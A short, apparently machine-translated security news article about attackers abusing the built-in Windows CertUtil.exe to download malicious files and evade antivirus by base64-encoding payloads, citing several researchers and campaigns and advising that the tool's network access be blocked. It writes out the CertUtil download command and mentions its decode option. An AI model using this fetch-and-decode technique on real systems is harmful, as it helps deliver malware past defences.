CertUtil.exe allows an attacker to download malicious code and bypass antivirus software

Is legitimate software but CertUtil is used to install malware on the victim's computer.

Windows has an integrated software called CertUtil for managing certificates in Windows. Using CertUtil you can install, backup, delete, manage, perform certification-related functions in Windows.

One of CertUtil's features is to download the certificate or any related file from the URL and save it on the computer using **certutil.exe -urlcache -split -f [URL] output.file** .

In 2017, security researcher Casey Smith warned of using this method to download malicious code. In 2016 it was taken advantage of and last March there was a Trojan that used it to download a series of files and scripts to the computer.

The attacker still uses CertUtil because some computers are still locked, not allowing strange software to download files. Using Windows built-in software will help to be whitelisted and allowed to download files.

CertUtil is used on a recent trojan

Use CertUtil + Base64 to bypass antivirus software

Security consultant Xaview Mertens recently released a new way to use CertUtil, whereby base64 will first encrypt the malicious file to be identified as harmless, then decrypt it after being downloaded by CertUtil.exe.

Command to download files with CertUtil:

```
certutil.exe -urlcache -split -f [URL] output.file
```

MalwareHunterTeam indicates that certutil.exe -decode has been used in practice. F5 Labs also details a campaign using CertUtil.exe to install a virtual money digging tool. Fabio Assolini from Kaspersky also warned that this method was used in Brazil.

Every day there are always new tricks to exploit the programs that are legal, secure on Windows. If you do not use CertUtil to access the certificate or remote server, you should lock the network connectivity of this tool.

See more:

1. Warning of new malware appear like Wannacry, capable of deleting Vietnamese percussion on computer
2. What to do when the computer is infected with a virus that fights virtual money?
3. Plugins on well-known editing tools can give hackers priority